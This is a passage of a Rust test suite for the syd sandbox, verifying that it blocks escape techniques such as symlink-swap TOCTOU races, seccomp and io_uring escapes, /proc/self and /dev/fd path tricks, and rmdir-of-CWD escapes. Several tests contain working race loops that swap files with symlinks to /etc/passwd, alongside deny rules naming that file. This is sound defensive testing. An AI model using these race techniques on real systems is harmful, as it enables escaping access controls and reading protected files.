.expect("execute syd");
assert_status_code!(status, 1);
eprintln!("Killing background attacker process...");
let _ = kill(attacker, Signal::SIGKILL);
Ok(())
}
fn test_syd_exp_vfsmod_toctou_open_file_deny() -> TestResult {
skip_if_strace!();
// We run the attacker thread unsandboxed,
// to increase the likelihood of the race.
File::create("./benign")?;
symlink("/etc/passwd", "./symlink")?;
eprintln!("Forking background attacker process...");
let attacker = match unsafe { fork() }? {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Perform a VFS symlink modification attack.
let f = b"./benign\0";
let s = b"./symlink\0";
let t = b"./tmp\0";
loop {
unsafe {
// Rename between benign file and malicious symlink.
libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
}
}
}
};
let status = syd()
.p("off")
.m("sandbox/read:on")
.m("allow/read+/***")
.m("deny/read+/etc/passwd")
.m("filter/read+/etc/passwd")
.do_("vfsmod_toctou_open_file", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
eprintln!("Killing background attacker process...");
let _ = kill(attacker, Signal::SIGKILL);
Ok(())
}
fn test_syd_exp_vfsmod_toctou_open_path_off() -> TestResult {
skip_if_strace!();
// We run the attacker thread unsandboxed,
// to increase the likelihood of the race.
create_dir_all("./benign")?;
File::create("./benign/passwd")?;
symlink("/etc", "./symlink")?;
eprintln!("Forking background attacker process...");
let attacker = match unsafe { fork() }.expect("fork") {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Perform a VFS symlink modification attack.
let f = b"./benign\0";
let s = b"./symlink\0";
let t = b"./tmp\0";
loop {
unsafe {
// Rename between benign file and malicious symlink.
libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
}
}
}
};
// This test is to ensure the TOCTOU attack is sane and works.
let status = syd()
.p("off")
.do_("vfsmod_toctou_open_path", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, 1);
eprintln!("Killing background attacker process...");
let _ = kill(attacker, Signal::SIGKILL);
Ok(())
}
fn test_syd_exp_vfsmod_toctou_open_path_deny() -> TestResult {
skip_if_strace!();
// We run the attacker thread unsandboxed,
// to increase the likelihood of the race.
create_dir_all("./benign")?;
File::create("./benign/passwd")?;
symlink("/etc", "./symlink")?;
eprintln!("Forking background attacker process...");
let attacker = match unsafe { fork() }.expect("fork") {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Perform a VFS symlink modification attack.
let f = b"./benign\0";
let s = b"./symlink\0";
let t = b"./tmp\0";
loop {
unsafe {
// Rename between benign file and malicious symlink.
libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
}
}
}
};
let status = syd()
.p("off")
.m("sandbox/read:on")
.m("allow/read+/***")
.m("deny/read+/etc/passwd")
.m("filter/read+/etc/passwd")
.do_("vfsmod_toctou_open_path", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
eprintln!("Killing background attacker process...");
let _ = kill(attacker, Signal::SIGKILL);
Ok(())
}
fn test_syd_exp_vfsmod_toctou_connect_unix() -> TestResult {
skip_if_strace!();
// Prepare the benign socket which is an unbound UNIX domain socket.
mknod("./benign", SFlag::S_IFSOCK, Mode::S_IRWXU, 0)?;
// Prepare the malicious socket which is a bound UNIX domain socket.
let sock = socket(
AddressFamily::Unix,
SockType::Stream,
SockFlag::empty(),
None,
)?;
let addr = UnixAddr::new("./malicious")?;
bind(sock.as_raw_fd(), &addr)?;
listen(&sock, Backlog::MAXCONN)?;
symlink("./malicious", "./symlink")?;
// We run the attacker and listener thread unsandboxed,
// to increase the likelihood of the race.
eprintln!("Forking background malicious listener process...");
let listener = match unsafe { fork() }.expect("fork") {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Accept a connection on the malicious UNIX socket.
let r = match accept(sock.as_raw_fd()) {
Ok(fd) => {
eprintln!("Malicious listener escaped the sandbox!");
let _ = close(fd);
0
}
Err(errno) => errno as i32,
};
unsafe { libc::_exit(r) };
}
};
eprintln!("Forking background attacker process...");
let attacker = match unsafe { fork() }.expect("fork") {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Perform a VFS symlink modification attack.
let f = b"./benign\0";
let s = b"./symlink\0";
let t = b"./tmp\0";
loop {
unsafe {
// Rename between benign file and malicious symlink.
libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
}
}
}
};
let status = syd()
.p("off")
.m("sandbox/net/connect:on")
.m("allow/net/connect+/***")
.m("deny/net/connect+/**/malicious")
.m("filter/net/connect+/**/malicious")
.do_("vfsmod_toctou_connect_unix", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
eprintln!("Killing background processes...");
let _ = kill(attacker, Signal::SIGKILL);
let _ = kill(listener, Signal::SIGKILL);
Ok(())
}
fn test_syd_seccomp_set_mode_strict_old() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "seccomp_set_mode_strict_old")
.status()
.expect("execute syd-test-do");
assert_status_signaled!(status, libc::SIGKILL);
let status = syd()
.p("off")
.do_("seccomp_set_mode_strict_old", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_cbpf:1")
.do_("seccomp_set_mode_strict_old", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_seccomp_set_mode_strict_new() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "seccomp_set_mode_strict_new")
.status()
.expect("execute syd-test-do");
assert_status_signaled!(status, libc::SIGKILL);
let status = syd()
.p("off")
.do_("seccomp_set_mode_strict_new", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_cbpf:1")
.do_("seccomp_set_mode_strict_new", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_seccomp_ret_trap_escape_strict() -> TestResult {
// Step 0: Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to truncate this file.
let mut file = File::create("./truncate_me")?;
writeln!(
file,
"Change return success. Going and coming without error. Action brings good fortune."
)?;
// SAFETY: We're going to reopen the file in the last step
// to make absolutely sure that the sandbox break happened!
drop(file);
let status = syd()
.p("off")
.m("sandbox/read,truncate:on")
.m("allow/read,truncate+/***")
.m("deny/read+/dev/null")
.m("deny/truncate+/**/truncate_me")
.do_("seccomp_ret_trap_escape", ["./truncate_me"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// Step -1: Check if the victim file was truncated, which confirms
// the sandbox break without relying on the exit code of the
// (untrusted) `syd-test-do' process.
let file = File::open("./truncate_me")?;
assert_ne!(file.metadata()?.len(), 0);
Ok(())
}
fn test_syd_seccomp_ret_trap_escape_unsafe() -> TestResult {
// Step 0: Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to truncate this file.
let mut file = File::create("./truncate_me")?;
writeln!(
file,
"Change return success. Going and coming without error. Action brings good fortune."
)?;
// SAFETY: We're going to reopen the file in the last step
// to make absolutely sure that the sandbox break happened!
drop(file);
// SAFETY: Test with trace/allow_unsafe_cbpf:1 to confirm the validity of the PoC.
let status = syd()
.p("off")
.m("trace/allow_unsafe_cbpf:1")
.m("sandbox/read,truncate:on")
.m("allow/read,truncate+/***")
.m("deny/read+/dev/null")
.m("deny/truncate+/**/truncate_me")
.do_("seccomp_ret_trap_escape", ["./truncate_me"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// Step -1: Check if the victim file was truncated, which confirms
// the sandbox break without relying on the exit code of the
// (untrusted) `syd-test-do' process.
let file = File::open("./truncate_me")?;
assert_ne!(file.metadata()?.len(), 0);
Ok(())
}
fn test_syd_seccomp_ioctl_notify_id_valid() -> TestResult {
let status = syd()
.p("off")
.do_("seccomp_ioctl_notify", ["id_valid"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_seccomp_ioctl_notify_set_flags() -> TestResult {
let status = syd()
.p("off")
.do_("seccomp_ioctl_notify", ["set_flags"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_seccomp_ioctl_notify_addfd() -> TestResult {
let status = syd()
.p("off")
.do_("seccomp_ioctl_notify", ["addfd"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_seccomp_ioctl_notify_send() -> TestResult {
let status = syd()
.p("off")
.do_("seccomp_ioctl_notify", ["send"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_seccomp_ioctl_notify_recv() -> TestResult {
let status = syd()
.p("off")
.do_("seccomp_ioctl_notify", ["recv"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_io_uring_escape_strict() -> TestResult {
#[cfg(feature = "uring")]
{
// Step 1: Default is strict.
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("deny/read,write,create+/etc/passwd")
.do_("io_uring_escape", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_io_uring_escape_unsafe() -> TestResult {
#[cfg(feature = "uring")]
{
// Step 2: Relax uring restriction.
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("deny/read,write,create+/etc/passwd")
.m("trace/allow_unsafe_uring:1")
.do_("io_uring_escape", ["1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_opath_escape() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("deny/read,write,create+/etc/passwd")
.do_("opath_escape", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_1() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_1", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_2() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_2", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_3() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_3", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_4", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_5() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_5", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_6() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_6", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_7() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_7", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_8() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_8", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_9() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_9", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_10() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_10", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_11() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_11", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_12() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_12", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_13() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_13", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_14() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_14", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_15() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_15", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_16() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_16", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_17() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_17", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_18() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_18", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_19() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_19", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_chdir_relpath_20() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("devfd_escape_chdir_relpath_20", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_1() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_1", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_2() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_2", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_3() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_3", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_4", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_5() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_5", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_6() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_6", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_chdir_relpath_7() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.do_("procself_escape_chdir_relpath_7", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_1() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_1", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_2() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_2", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_3() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_3", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_4", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_5() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_5", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_6() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_6", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_7() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_7", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_8() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_8", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_9() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_9", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_10() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_10", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_11() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_11", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_12() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_12", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_13() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_13", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_14() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_14", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_15() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_15", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_16() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_16", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_17() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_17", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_18() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_18", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_19() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_19", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_devfd_escape_open_relpath_20() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir,write,create:on")
.m("allow/read,readdir,write,create+/***")
.do_("devfd_escape_open_relpath_20", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_1() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_1", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_2() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_2", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_3() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_3", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_4", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_5() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_5", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_6() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_6", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_open_relpath_7() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_open_relpath_7", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_relpath() -> TestResult {
skip_unless_available!("grep");
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.argv(["grep", "Name:[[:space:]]syd", "/proc/./self/status"])
.status()
.expect("execute syd");
assert!(
status.code().unwrap_or(127) == 1,
"code:{:?}",
status.code()
);
Ok(())
}
fn test_syd_procself_escape_symlink() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_symlink", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_procself_escape_symlink_within_container() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,pid:1")
.m("sandbox/read,readdir:on")
.m("allow/read,readdir+/***")
.do_("procself_escape_symlink", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_rmdir_escape_file() -> TestResult {
if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 1: {errno}"
)));
} else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 2: {errno}"
)));
}
let status = syd()
.p("off")
.m("sandbox/net,write,create,delete,truncate:on")
.m("allow/write,create,delete,truncate+/***")
.m("deny/write,create,delete,truncate+/**/* (deleted)/***")
.m("allow/net/bind+/***")
.m("deny/net/bind+/**/* (deleted)/***")
.do_("rmdir_cwd_and_create_file", ["foo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
} else if XPath::from_bytes(b"./foo/escape").exists(false) {
Err(TestError("Sandbox create by rmdir CWD!".to_string()))
} else {
Ok(())
}
}
fn test_syd_rmdir_escape_dir() -> TestResult {
if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 1: {errno}"
)));
} else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 2: {errno}"
)));
}
let status = syd()
.p("off")
.m("sandbox/net,write,create,delete,truncate:on")
.m("allow/write,create,delete,truncate+/***")
.m("deny/write,create+/**/* (deleted)/***")
.m("allow/net/bind+/***")
.m("deny/net/bind+/**/* (deleted)/***")
.do_("rmdir_cwd_and_create_dir", ["foo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
} else if XPath::from_bytes(b"./foo/escape").exists(false) {
Err(TestError("Sandbox create by rmdir CWD!".to_string()))
} else {
Ok(())
}
}
fn test_syd_rmdir_escape_fifo() -> TestResult {
if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 1: {errno}"
)));
} else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
return Err(TestError(format!(
"Failed to create test directory 2: {errno}"
)));
}
let status = syd()
.p("off")
.m("sandbox/net,write,create,delete,truncate,mkfifo:on")
.m("allow/write,create,delete,truncate,mkfifo+/***")
.m("deny/write,create,delete,truncate,mkfifo+/**/* (deleted)/***")
.m("allow/net/bind+/***")
.m("deny/net/bind+/**/* (deleted)/***")
.do_("rmdir_cwd_and_create_fifo", ["foo"])
.status()
